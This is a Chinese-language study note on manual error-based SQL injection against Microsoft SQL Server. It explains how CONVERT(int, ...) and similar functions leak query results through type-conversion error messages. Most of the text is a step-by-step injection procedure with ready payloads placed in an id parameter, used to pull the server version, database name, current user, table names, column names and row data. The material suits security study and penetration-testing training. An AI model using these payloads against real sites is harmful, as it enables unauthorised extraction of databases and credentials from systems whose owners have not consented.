1. 程式人生 > 其它 >學習筆記十八:Mssql手注之報錯注入

學習筆記十八:Mssql手注之報錯注入

convert()函式

CONVERT()函式是把日期轉換為新資料型別的通用函式。

語法:

CONVERT(data_type(length),data_to_be_converted,style)

data_type(length) 規定目標資料型別(帶有可選的長度)。

data_to_be_converted 含有需要轉換的值。

style 規定日期/時間的輸出格式。

示例:

CONVERT(VARCHAR(19),GETDATE())

CONVERT(VARCHAR(10),GETDATE(),110)

CONVERT(VARCHAR(11),GETDATE(),106)

CONVERT(VARCHAR(24),GETDATE(),113)

原理

對於convert(int,@@version),convert函式⾸先會執⾏第⼆個引數指定的SQL查詢,然後嘗試將查詢結果轉換為int型別。但是,由於這個SQL查詢的結果是varchar型別,⽆法進⾏指定的轉換,所以,convert函式會丟擲 ⼀個SQL server錯誤訊息,指出“SQL查詢結果”⽆法轉換為“int”型別,這樣的話,攻擊者就能得到的這個SQL查詢的結果了。

滿足這樣條件的函式還有很多:convert() ,file_name() ,db_name() ,col_name() ,filegroup_name(),object_name() ,schema_name() ,type_name() ,cast()

注入流程:

注意:這次的注入操作都是把要注入的語句直接替換引數值,也就是id=1 的1。

1.查詢基本資訊

convert(int,@@version) 獲取版本資訊

convert(int,db_name()) 資料庫名字

convert(int,user) 當前使用者名稱

convert(int,@@SERVERNAME) 獲取有關伺服器主機的資訊

2.獲取當前資料庫的表名

convert(int,(select top 1 table_name from information_schema.columns))

3.獲取列名

convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進位制的表名 as varchar)))

4.獲取資料

convert(int,(select top 1 name 列名 from 表名))